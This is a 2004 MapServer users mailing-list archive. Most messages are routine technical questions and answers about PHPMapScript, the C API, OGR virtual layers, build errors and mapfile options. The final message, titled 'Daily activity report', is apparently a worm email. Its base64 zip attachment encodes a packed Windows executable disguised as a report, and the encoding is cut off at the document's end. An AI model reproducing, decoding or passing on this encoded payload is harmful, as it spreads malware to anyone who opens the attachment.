the only problem. Resources for this kind of rubber band box are very sparse on the web, so I was hoping that someone would have run into this before. Any help would be appreciated. Rene Image Test for Rubber Box
From eduardo@consultoria.eti.br Thu Mar 4 18:40:23 2004 From: eduardo@consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 04 Mar 2004 15:40:23 -0300 Subject: [Mapserver-users] PHPMapScript as PHP DSO Message-ID: <40477817.6000106@consultoria.eti.br> I have seen at MapServer ./configure --help that the option to compile PHPMapScript with PHP as a Apache DSO is marked with "DISABLED" Why? Is PHPMapScript 4.0.1 not possible to be compiled against a PHP that is installed as Apache DSO? thanks, -- Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From dmorissette@dmsolutions.ca Thu Mar 4 19:00:42 2004 From: dmorissette@dmsolutions.ca (Daniel Morissette) Date: Thu, 04 Mar 2004 14:00:42 -0500 Subject: [Mapserver-users] PHPMapScript as PHP DSO In-Reply-To: <40477817.6000106@consultoria.eti.br> References: <40477817.6000106@consultoria.eti.br> Message-ID: <40477CDA.7020607@dmsolutions.ca> Eduardo Patto Kanegae wrote: > I have seen at MapServer ./configure --help that the option to compile > PHPMapScript with PHP as a Apache DSO is marked with "DISABLED" > > Why? Is PHPMapScript 4.0.1 not possible to be compiled against a PHP > that is installed as Apache DSO? > That's exactly it: with 4.0.x you need PHP as a CGI, and in 4.1 (CVS) we should be able to use the PHP DSO once some build issues are resolved. -- ------------------------------------------------------------ Daniel Morissette dmorissette@dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mountainduo@mho.com Thu Mar 4 19:12:52 2004 From: mountainduo@mho.com (mountainduo@mho.com) Date: Thu, 4 Mar 2004 12:12:52 -0700 (MST) Subject: [Mapserver-users] What am i doing wrong in this C program? In-Reply-To: <4046EB8E.4030705@schnegg.net> References: <20040303172037.82111.qmail@web61109.mail.yahoo.com> <2858.64.58.31.38.1078337257.squirrel@a.mail.mho.net> <4046EB8E.4030705@schnegg.net> Message-ID: <1414.64.58.31.38.1078427572.squirrel@a.mail.mho.net> Hello, i am trying to access the layers of a mapObj and when i do, i get an exception access violation...it seems that the layers are not initialized. do i need to do anything other than msLoadMap? thanks theMap = (mapObj*)msLoadMap( filename, NULL ); printf( "Map->name %s\n", theMap->name ); printf( "Map->status %i\n", theMap->status ); printf( "Map->height %i\n", theMap->height ); printf( "Map->width %i\n", theMap->width ); printf( "Map->numlayers %i\n", theMap->numlayers ); printf( "Map->transparent %i\n", theMap->transparent ); printf( "Map->interlace %i\n", theMap->interlace ); printf( "Map->imagequality %i\n", theMap->imagequality ); printf( "Map->cellsize %i\n", theMap->cellsize ); printf( "Map->extent.minx %i\n", theMap->extent.minx ); printf( "Map->extent.miny %i\n", theMap->extent.miny ); printf( "Map->extent.maxx %i\n", theMap->extent.maxx ); printf( "Map->extent.maxy %i\n", theMap->extent.maxy ); printf( "Map->units %i\n", theMap->units ); printf( "Map->scale %i\n", theMap->scale ); printf( "Map->resolution %i\n", theMap->resolution ); printf( "Map->shapepath %s\n", theMap->shapepath ); printf( "Map->numoutputformats %i\n", theMap->numoutputformats ); printf( "layers size %i\n", sizeof(theMap->layers) ); for ( x = 0; x < theMap->numlayers; x++ ) { printf( "theMap->layer[%i].name: %s\n", x, theMap->layers[x].name ); }//end for x From daniel.faivre@camptocamp.com Thu Mar 4 19:46:58 2004 From: daniel.faivre@camptocamp.com (Daniel FAIVRE) Date: Thu, 04 Mar 2004 20:46:58 +0100 Subject: [Mapserver-users] Rubber Band Box for ZoomIn/ZoomOut Using JS In-Reply-To: References: Message-ID: <404787B2.7090900@camptocamp.com> Hello, Your code is internet-explorer-specific, and could not work with other browsers. On the UMN mapserver site, you can find several dhtml (with javascripts) zoomin/zoomout API. See http://mapserver.gis.umn.edu/contributed.html for more informations. D FAIVRE Rene Teniere a écrit : >Hi all, > >I am trying to get the cursor to work properly when you click and hold. >Copy the following code into an html file and you'll see what I mean. >I'm not that great in Javascript yet, and this is to be used in an >existing map made from scratch using PHP/MapScript. Implementation is >for a zoomin/zoomout button. Everything else is set, drawing the box on >the screen is the only problem. > >Resources for this kind of rubber band box are very sparse on the web, >so I was hoping that someone would have run into this before. > >Any help would be appreciated. > >Rene > > > >Image Test for Rubber Box > > > > > >
> > > > >
> SRC="http://www.gov.ns.ca/natr/juan/images/viewer.jpg" ismap >onmouseup="mouseUp()" onmousedown="mouseDown()"> >
> > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users@lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From dmorissette@dmsolutions.ca Thu Mar 4 21:01:30 2004 From: dmorissette@dmsolutions.ca (Daniel Morissette) Date: Thu, 04 Mar 2004 16:01:30 -0500 Subject: [Mapserver-users] What am i doing wrong in this C program? In-Reply-To: <1414.64.58.31.38.1078427572.squirrel@a.mail.mho.net> References: <20040303172037.82111.qmail@web61109.mail.yahoo.com> <2858.64.58.31.38.1078337257.squirrel@a.mail.mho.net> <4046EB8E.4030705@schnegg.net> <1414.64.58.31.38.1078427572.squirrel@a.mail.mho.net> Message-ID: <4047992A.2010807@dmsolutions.ca> Note that some members of the mapObj and layerObj (e.g. name, template, etc.) are pointers and may be NULL if they were not set in the mapfile. You need to check that they are not NULL before printing them. Daniel mountainduo@mho.com wrote: > Hello, > > i am trying to access the layers of a mapObj and when i do, i get an > exception access violation...it seems that the layers are not initialized. > do i need to do anything other than msLoadMap? > > thanks > > theMap = (mapObj*)msLoadMap( filename, NULL ); > > printf( "Map->name %s\n", theMap->name ); > printf( "Map->status %i\n", theMap->status ); > printf( "Map->height %i\n", theMap->height ); > printf( "Map->width %i\n", theMap->width ); > printf( "Map->numlayers %i\n", theMap->numlayers ); > printf( "Map->transparent %i\n", theMap->transparent ); > printf( "Map->interlace %i\n", theMap->interlace ); > printf( "Map->imagequality %i\n", theMap->imagequality ); > printf( "Map->cellsize %i\n", theMap->cellsize ); > printf( "Map->extent.minx %i\n", theMap->extent.minx ); > printf( "Map->extent.miny %i\n", theMap->extent.miny ); > printf( "Map->extent.maxx %i\n", theMap->extent.maxx ); > printf( "Map->extent.maxy %i\n", theMap->extent.maxy ); > printf( "Map->units %i\n", theMap->units ); > printf( "Map->scale %i\n", theMap->scale ); > printf( "Map->resolution %i\n", theMap->resolution ); > printf( "Map->shapepath %s\n", theMap->shapepath ); > printf( "Map->numoutputformats %i\n", theMap->numoutputformats ); > > printf( "layers size %i\n", sizeof(theMap->layers) ); > for ( x = 0; x < theMap->numlayers; x++ ) > { > printf( "theMap->layer[%i].name: %s\n", x, theMap->layers[x].name ); > > }//end for x > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From gayathri@ou.edu Thu Mar 4 21:13:49 2004 From: gayathri@ou.edu (Swaminathan, Gayathri) Date: Thu, 4 Mar 2004 15:13:49 -0600 Subject: [Mapserver-users] MrSid Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C05C705B@XMAIL1.sooner.net.ou.edu> Andrew: Yes. Just do a search in the list's archive for Mr.SID...There have been previous discussions on the same. Thanks Gayathri > -----Original Message----- > From: mapserver-users-admin@lists.gis.umn.edu > [mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of > Albert Garcia > Sent: Thursday, March 04, 2004 7:56 AM > To: mapserver-users@lists.gis.umn.edu > Subject: [Mapserver-users] MrSid > > > Hi all, > I'm very novice in mapserver applications (and in english > language, as you see. sorry). I'd made a simply application > and I would know if its posible view MrSid images on it. Thank you > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From bpicinbono@worldonline.fr Thu Mar 4 21:38:34 2004 From: bpicinbono@worldonline.fr (blaise) Date: Thu, 04 Mar 2004 22:38:34 +0100 Subject: [Mapserver-users] Displaying an Elevation Profile Message-ID: <4047A1DA.7030407@worldonline.fr> >> Hi, >> My data is a grid file (latitude, longitude, elevation). I would like to >> display the map on the web and by clicking the mouse in two points, be >> able to display the elevation profile between those two points. >> Any help will be appreciated. Tzipi, very interesting ! I would like to have time to work on it but I think this can be done with Php-MapScript (or other mapserver scripting languages). I see it this way : The graph will be drawn on a special layer (let's call it "graph"). You will draw the lines of the graph by creating new line shapes in the "graph" layer. You can draw the X axis by making a line between your two mouse points. You can draw two Y axis, one at each mouse points, orthogonal to the X axis. To draw the profile between the two Y axis, you will have to pick the elevation value in the appropriate grid elements (and make a few 2D computations). Tell me if that sounds strange to you ! I think that buildind such interactive graphics could increase MapServer interactivity, by the means of very simple programming (no java, cgi, or whatever, just basic mapserver). worth a try ? Blaise From mountainduo@mho.com Thu Mar 4 22:08:55 2004 From: mountainduo@mho.com (mountainduo@mho.com) Date: Thu, 4 Mar 2004 15:08:55 -0700 (MST) Subject: [Mapserver-users] What am i doing wrong in this C program? In-Reply-To: <4047992A.2010807@dmsolutions.ca> References: <20040303172037.82111.qmail@web61109.mail.yahoo.com> <2858.64.58.31.38.1078337257.squirrel@a.mail.mho.net> <4046EB8E.4030705@schnegg.net> <1414.64.58.31.38.1078427572.squirrel@a.mail.mho.net> <4047992A.2010807@dmsolutions.ca> Message-ID: <2016.64.58.31.38.1078438135.squirrel@a.mail.mho.net> I definelty have layers in my mapfile. are there certain required fields needed in order for the load function to load the layers (i looked at the reference doc but could not tell if something was required)? if i have a layer as default or on, i can display the map but i want to dynamically turn on or off layers. or are there other certain objects that are required in order for the layer object to load? > Note that some members of the mapObj and layerObj (e.g. name, template, > etc.) are pointers and may be NULL if they were not set in the mapfile. > You need to check that they are not NULL before printing them. > > Daniel > > > mountainduo@mho.com wrote: >> Hello, >> >> i am trying to access the layers of a mapObj and when i do, i get an >> exception access violation...it seems that the layers are not >> initialized. do i need to do anything other than msLoadMap? >> >> thanks >> >> theMap = (mapObj*)msLoadMap( filename, NULL ); >> >> printf( "Map->name %s\n", theMap->name ); >> printf( "Map->status %i\n", theMap->status ); >> printf( "Map->height %i\n", theMap->height ); >> printf( "Map->width %i\n", theMap->width ); >> printf( "Map->numlayers %i\n", theMap->numlayers ); >> printf( "Map->transparent %i\n", theMap->transparent ); >> printf( "Map->interlace %i\n", theMap->interlace ); >> printf( "Map->imagequality %i\n", theMap->imagequality ); >> printf( "Map->cellsize %i\n", theMap->cellsize ); >> printf( "Map->extent.minx %i\n", theMap->extent.minx ); >> printf( "Map->extent.miny %i\n", theMap->extent.miny ); >> printf( "Map->extent.maxx %i\n", theMap->extent.maxx ); >> printf( "Map->extent.maxy %i\n", theMap->extent.maxy ); >> printf( "Map->units %i\n", theMap->units ); >> printf( "Map->scale %i\n", theMap->scale ); >> printf( "Map->resolution %i\n", theMap->resolution ); >> printf( "Map->shapepath %s\n", theMap->shapepath ); >> printf( "Map->numoutputformats %i\n", theMap->numoutputformats ); >> >> printf( "layers size %i\n", sizeof(theMap->layers) ); >> for ( x = 0; x < theMap->numlayers; x++ ) >> { >> printf( "theMap->layer[%i].name: %s\n", x, >> theMap->layers[x].name ); >> >> }//end for x >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users@lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nikolai.schwertner@tufts.edu Thu Mar 4 22:41:30 2004 From: nikolai.schwertner@tufts.edu (Nikolai Schwertner) Date: Thu, 4 Mar 2004 17:41:30 -0500 Subject: [Mapserver-users] Virtual Spatial Data Wiki Question Message-ID: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> Hi all, I am following the instructions from the wiki on "Virtual Spatial Data" to create a virtual layer from an ODBC data source (under Windows 2000). The OVF file works great with ogrinfo.exe, but fails with the following message when I try to load it in MapServer: msDrawMap(): Image handling error. Failed to draw layer named 'sb_pt'. msOGRFileOpen(): OGR error. Open failed for OGR connection `w:\app\virtual.ovf'. File not found or unsupported format. Past posts suggest that this problem may be related to the permissions of the Apache user over the OVF file. I don't think that this is the problem in this case. All permissions are in order and Apache has no problem accessing the file. I will appreciate any suggestions regarding this problem. Sincerely, Nikolai -- Nikolai Schwertner TCCS/Academic Technology Tufts University Medford, MA 02155 Phone: 617.627.2821 Fax: 617.627.3667 Email: nikolai.schwertner@tufts.edu From ms57@streamyx.com Thu Mar 4 23:17:51 2004 From: ms57@streamyx.com (Steve McCrone) Date: Fri, 05 Mar 2004 07:17:51 +0800 Subject: [Mapserver-users] queryfile - solved Message-ID: <000901c4023e$ea6f09f0$3f3d5edb@maps> Yes, it was a simple case of changing to forward slashes in my init.html file - Thanks for the suggestions, Steve From spencer@dmsolutions.ca Thu Mar 4 23:47:54 2004 From: spencer@dmsolutions.ca (Paul Spencer) Date: Thu, 04 Mar 2004 18:47:54 -0500 Subject: [Mapserver-users] Virtual Spatial Data Wiki Question In-Reply-To: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> References: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> Message-ID: <4047C02A.3010709@magma.ca> if it works with ogrinfo and not with mapserver/mapscript then you need a more recent version of mapserver binaries. It is not sufficient to replace gdalxx.dll, you must have a mapserver that was compiled against the newer gdal source code. You can find the latest 4.1 compiled for windows as of today here: http://www.maptools.org/dl/mapserver-4.1-dev-win32-php4.3.4.zip Cheers, Paul Nikolai Schwertner wrote: > Hi all, > > I am following the instructions from the wiki on "Virtual Spatial Data" to > create a virtual layer from an ODBC data source (under Windows 2000). The > OVF file works great with ogrinfo.exe, but fails with the following message > when I try to load it in MapServer: > > msDrawMap(): Image handling error. Failed to draw layer named 'sb_pt'. > msOGRFileOpen(): OGR error. Open failed for OGR connection > `w:\app\virtual.ovf'. File not found or unsupported format. > > Past posts suggest that this problem may be related to the permissions of > the Apache user over the OVF file. I don't think that this is the problem in > this case. All permissions are in order and Apache has no problem accessing > the file. > > I will appreciate any suggestions regarding this problem. > > Sincerely, > Nikolai > > -- > Nikolai Schwertner > TCCS/Academic Technology > Tufts University > Medford, MA 02155 > > Phone: 617.627.2821 > Fax: 617.627.3667 > Email: nikolai.schwertner@tufts.edu > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer spencer@dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From warmerdam@pobox.com Thu Mar 4 23:52:20 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Thu, 04 Mar 2004 18:52:20 -0500 Subject: [Mapserver-users] Virtual Spatial Data Wiki Question In-Reply-To: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> References: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> Message-ID: <4047C134.5000202@pobox.com> Nikolai Schwertner wrote: > Hi all, > > I am following the instructions from the wiki on "Virtual Spatial Data" to > create a virtual layer from an ODBC data source (under Windows 2000). The > OVF file works great with ogrinfo.exe, but fails with the following message > when I try to load it in MapServer: > > msDrawMap(): Image handling error. Failed to draw layer named 'sb_pt'. > msOGRFileOpen(): OGR error. Open failed for OGR connection > `w:\app\virtual.ovf'. File not found or unsupported format. > > Past posts suggest that this problem may be related to the permissions of > the Apache user over the OVF file. I don't think that this is the problem in > this case. All permissions are in order and Apache has no problem accessing > the file. > > I will appreciate any suggestions regarding this problem. Nikolai, The other very common reason is when people have a new GDAL/OGR, but an old MapServer. For complex reasons, on windows it isn't enough to update the GDAL11.DLL to make MapServer use a newer version of GDAL/OGR. MapServer needs to be relinked. Also, ensure you are using ODBC System DSNs, not User DSNs. Otherwise the user the web server (and MapServer) runs as won't see the DSN. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From ksor@uclink.berkeley.edu Fri Mar 5 00:27:43 2004 From: ksor@uclink.berkeley.edu (Kendall Sor) Date: Thu, 04 Mar 2004 16:27:43 -0800 Subject: [Mapserver-users] mapserver install [compile time] Message-ID: hi here is my setup rehat 9 apache2 php4.3 postresql7.4.1 postgist0.8.1 mapserver 4.01 ### php install ** i took out the --with-apxs2=/usr/local/apache/bin/apxs since i read that we should not include this with mapserver php4 configure ./configure --with-pgsql=shared \ --prefix=/usr/local/php \ --enable-force-cgi-redirect \ --disable-cgi \ --with-zlib \ --with-gettext \ --with-regex=system \ --with-gdbm \ --enable-track-vars \ --with-xml ### other libraries required for mapserver libJPG b6 ./configure freetype-2.1.3 ./configure GD 2.0.22 ./configure --with-freetype=/usr/local/lib --with-jpeg=/usr/local/lib ### mapserver 4.01 ./configure --with-gd --with-freetype=/usr/local/lib/ --with-php=/tmp/php-4.3.4 --with-ming --with-postgis make, breaks on the maptemplate.o file. any help would be appreciated. do i should i need to edit the Makefile? then this is the following error i get: gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_MING_FLASH -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -I/usr/include maptemplate.c -o maptemplate.o In file included from maptemplate.h:8, from maptemplate.c:3: map.h:42:18: ming.h: No such file or directory In file included from maptemplate.h:8, from maptemplate.c:3: map.h:819: parse error before "SWFMovie" map.h:819: warning: no semicolon at end of struct or union map.h:821: parse error before '*' token map.h:821: warning: type defaults to `int' in declaration of `pasMovies' map.h:821: warning: data definition has no type or storage class map.h:827: parse error before '}' token map.h:827: warning: type defaults to `int' in declaration of `SWFObj' map.h:827: warning: data definition has no type or storage class map.h:858: parse error before "SWFObj" map.h:858: warning: no semicolon at end of struct or union map.h:858: warning: no semicolon at end of struct or union map.h:866: parse error before '}' token map.h:866: warning: type defaults to `int' in declaration of `img' map.h:866: warning: data definition has no type or storage class map.h:868: parse error before '}' token map.h:868: warning: type defaults to `int' in declaration of `imageObj' map.h:868: warning: data definition has no type or storage class map.h:871: parse error before "imageObj" map.h:872: parse error before '*' token map.h:955: parse error before '*' token map.h:955: warning: type defaults to `int' in declaration of `msDrawScalebar' map.h:955: warning: data definition has no type or storage class map.h:1031: parse error before '*' token map.h:1031: warning: type defaults to `int' in declaration of `msDrawLegend' map.h:1031: warning: data definition has no type or storage class map.h:1034: parse error before '*' token map.h:1034: warning: type defaults to `int' in declaration of `msCreateLegendIcon' map.h:1034: warning: data definition has no type or storage class map.h:1054: parse error before "imageObj" map.h:1062: parse error before "imageObj" map.h:1063: parse error before '*' token map.h:1063: warning: type defaults to `int' in declaration of `msDrawReferenceMap' map.h:1063: warning: data definition has no type or storage class map.h:1168: parse error before '*' token map.h:1168: warning: type defaults to `int' in declaration of `msDrawMap' map.h:1168: warning: data definition has no type or storage class map.h:1169: parse error before '*' token map.h:1169: warning: type defaults to `int' in declaration of `msDrawQueryMap' map.h:1169: warning: data definition has no type or storage class map.h:1171: parse error before "imageObj" map.h:1172: parse error before "imageObj" map.h:1173: parse error before "imageObj" map.h:1174: parse error before "imageObj" map.h:1175: parse error before "imageObj" map.h:1177: parse error before "imageObj" map.h:1178: parse error before "imageObj" map.h:1180: parse error before "imageObj" map.h:1181: parse error before "imageObj" map.h:1182: parse error before "imageObj" map.h:1183: parse error before "imageObj" map.h:1184: parse error before "imageObj" map.h:1186: parse error before '*' token map.h:1187: parse error before '*' token map.h:1188: parse error before '*' token map.h:1190: parse error before "imageObj" map.h:1191: parse error before "imageObj" map.h:1193: parse error before "imageObj" map.h:1194: parse error before "imageObj" map.h:1202: parse error before '*' token map.h:1203: warning: type defaults to `int' in declaration of `msImageCreateIM' map.h:1203: warning: data definition has no type or storage class map.h:1204: parse error before '*' token map.h:1204: warning: type defaults to `int' in declaration of `msImageLoadIM' map.h:1204: warning: data definition has no type or storage class map.h:1205: parse error before '*' token map.h:1206: parse error before "imageObj" map.h:1208: parse error before '*' token map.h:1209: parse error before '*' token map.h:1212: parse error before '*' token map.h:1213: parse error before '*' token map.h:1215: parse error before "imageObj" map.h:1216: parse error before "imageObj" map.h:1217: parse error before "imageObj" map.h:1218: parse error before "imageObj" map.h:1219: parse error before "imageObj" map.h:1221: parse error before '*' token map.h:1222: parse error before '*' token map.h:1230: parse error before '*' token map.h:1231: warning: type defaults to `int' in declaration of `msImageCreateGD' map.h:1231: warning: data definition has no type or storage class map.h:1232: parse error before '*' token map.h:1232: warning: type defaults to `int' in declaration of `msImageLoadGD' map.h:1232: warning: data definition has no type or storage class map.h:1233: parse error before '*' token map.h:1270: parse error before "imageObj" map.h:1274: parse error before "imageObj" map.h:1312: parse error before '*' token map.h:1313: warning: type defaults to `int' in declaration of `msImageCreate' map.h:1313: warning: data definition has no type or storage class map.h:1323: parse error before '*' token map.h:1324: warning: type defaults to `int' in declaration of `msImageCreateSWF'map.h:1324: warning: data definition has no type or storage class map.h:1326: parse error before "imageObj" map.h:1328: parse error before '*' token map.h:1331: parse error before '*' token map.h:1333: parse error before "imageObj" map.h:1336: parse error before "imageObj" map.h:1339: parse error before "imageObj" map.h:1341: parse error before "imageObj" map.h:1342: parse error before "imageObj" map.h:1351: parse error before '*' token map.h:1353: parse error before '*' token map.h:1355: parse error before '*' token map.h:1357: parse error before "imageObj" map.h:1440: parse error before "imageObj" In file included from map.h:1464, from maptemplate.h:8, from maptemplate.c:3: mapows.h:180: parse error before "imageObj" maptemplate.c: In function `msReturnTemplateQuery': maptemplate.c:157: invalid lvalue in assignment maptemplate.c:171: warning: assignment makes integer from pointer without a castmaptemplate.c:183: warning: assignment makes integer from pointer without a castmaptemplate.c:193: warning: assignment makes integer from pointer without a castmaptemplate.c:203: warning: assignment makes integer from pointer without a castmaptemplate.c: In function `processIcon': maptemplate.c:824: invalid lvalue in assignment maptemplate.c:830: warning: assignment makes integer from pointer without a castmaptemplate.c:836: warning: assignment makes integer from pointer without a castmaptemplate.c: In function `msGenerateImages': maptemplate.c:2649: `image' undeclared (first use in this function) maptemplate.c:2649: (Each undeclared identifier is reported only once maptemplate.c:2649: for each function it appears in.) make: *** [maptemplate.o] Error 1 From pramila@darya.nio.org Fri Mar 5 07:16:21 2004 From: pramila@darya.nio.org (Pramila R Gawas) Date: Fri, 05 Mar 2004 12:46:21 +0530 Subject: [Mapserver-users] mapscript help Message-ID: <40482945.2040502@darya.nio.org> i am using following mapscript : Converted the image to 8 bits tiff convert -depth=8 in.tif india.tif Used gdaltindex to create shapefile as follows: gdaltindex india.tif Created world file "india.tfw" as follows: 2.93 # 0 0 6.50 # 65 -25 Extent of map in map file: EXTENT 0 0 440 650 ***************************************** MAP NAME 'test1' SIZE 500 400 EXTENT 0 0 440 650 UNITS METERS STATUS ON LAYER NAME india STATUS DEFAULT DATA india TYPE RASTER CLASS COLOR 181 181 181 OUTLINECOLOR 0 0 0 END END # counties END which gives a blank map on output thanks pramila From gis@schnegg.net Fri Mar 5 08:09:56 2004 From: gis@schnegg.net (Frank Rittinger) Date: Fri, 05 Mar 2004 09:09:56 +0100 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <4047580E.1040400@dmsolutions.ca> References: <404705B0.4010506@schnegg.net> <4047580E.1040400@dmsolutions.ca> Message-ID: <404835D4.9000109@schnegg.net> Hello Daniel, as Steve pointed out, this is not documented, and when I tried it out mapserver complained about a corrupt mapfile: msLoadMap(): Unknown identifier. Parsing error near (MAXSIZE):(line 20)
Although, I found in mapfile.c, that the MAXSIZE is printed in saveMap. Daniel Morissette wrote: > > Since version 4.0 (not sure about 3.6), you should be able to set > MAXSIZE 2200 at the top-level in your mapfile to override the default. > > Daniel Bye, Frank From timothy.mackey@ga.gov.au Fri Mar 5 09:07:15 2004 From: timothy.mackey@ga.gov.au (timothy.mackey@ga.gov.au) Date: Fri, 05 Mar 2004 16:07:15 +0700 Subject: [Mapserver-users] Daily activity report Message-ID: ----------krcavjxebtmalndpeceh Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------krcavjxebtmalndpeceh Content-Type: application/octet-stream; name="bcadc.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="bdbccabad.zip" UEsDBAoAAAAAAACAZTBKH8ydAD4AAAA+AAAMAAAAbWdkYXV3ZmouZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADEoj5LgMNQGIDDUBiAw1AYgMNQGIPDUBgO3EMYr8NQGGjcVRiBw1AYfONCGIHD UBhHxVYYgcNQGFJpY2iAw1AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwBCRUBA AAAAAAAAAADgAA8BCwEFDABAAAAAEAAAAHAAALCwAAAAgAAAAMAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAACkwwAAFAEAAADAAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAA AACAAADgVVBYMQAAAAAAQAAAAIAAAAA0AAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA ABAAAADAAAAABgAAADgAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAMS4yNABVUFghDAkCCIWlHAXMc5u5GZQAAKgwAAAAbgAAJgAANP/b//9Vi+yDxOhT/3UI agBoOgQAAOgCDGSJRfyFwA+E/eXbtq8LABkMEqD0agRoABB/2XTtEQkW/AfV+DPbC8B07tnm vn0S9CwC+BsMiBZ/3WO3VDEwQFNAaA0JUApGko3Lw9rvRfBQMPhSBUsKnexgt+d3MiFq//91 7Hwm6FAL7N0G+zSLXegKEFOAADZpxv6DPQifcRCLw1vJwggA1PQMyBbA05BNGgzJyIH0DPhs sMjTEvgHEG8jtA82bIHE2P0jRAiI3X1/FyKJhRCDnwczwJIttu1eJMeF3BMkAh+NCdnZXPe9 tSQvUmUvfBj8tnsr3xKUTYud+A/rFDCbstlTWOvNDPX4v3yuYfdqAgMDaL1Ak/0cCze33UB1 BCYMHuz4UKwQti07O8eCzx9TNx/hhttKC2gmHGipgSsBx4vYH2TzbBUGeq6CI9hbw63ZbmN1 8FL8UByAARhwcAu/gEu4x1IEgVkGcw3v7nSOaCNtvpqHbuviKAvwqwEFZA4TnjDmI/926bgL vda9e7BwM7LJwwYCPbhQR0DFe1l39jWggIs+PAwPANE6n3WfLaL8U1Z+bB4Mpmju/xl7KGms LoE4LXVwZHQbB3b7/f9kZWx0CUCAeAMAdenrD26u6QQEVgneIFs7aATgRqRMCUOefBMmDpqu gp3HlmMss4NqHzpoRCAfyIc9jmhZjmhQOxhvdo5MPRB0MsFgmk6YFBYLpZPfhz3s9RxjgG/E 63q0DmMP7wu9M/ZoehafH09ePuELNy1Qi7doiBMACXw9AsLNtOGvsj1eBgFGcz5sIwxqiusP uXRBUSz2f0J1GAvbdBQL9nQQuBuzE24cpvuaXlur4Ive/u7YKMwAuJAf/IA4ALrAhAh0AcP/ v7sVZ3N0BxB0++vy/kABU1VWV1C+079097cWHCvAi/pomAhk/zC9IGoNWfP///+3qxFki0gw jNr2wgR1dLpsAv5/iiKA/ASKQgRyBb/d/m8HBXYEZrgzA8HgEAYBASxRDItCHG/F3v2LWAi4 WBea1qu4bgcGq3QFyIBs7bgwGAsRhvzmbg7ImlsaoYAgBQD/29uOBAaAWAqEuwj3v4D6YLpL RVj4Wwf+UHMCsAM5kxcoPFp0CoHrf3P/bxgAsFrr6ivb6yiLkwgZrQN18TvTdt/+N/DtUY2L NAA70Vlz4YvqixIBgzoGdfC7H+wCisOyUav/FXhtWTPBq4Xb7W/us9riR1i6yGgDw4lHBAdf 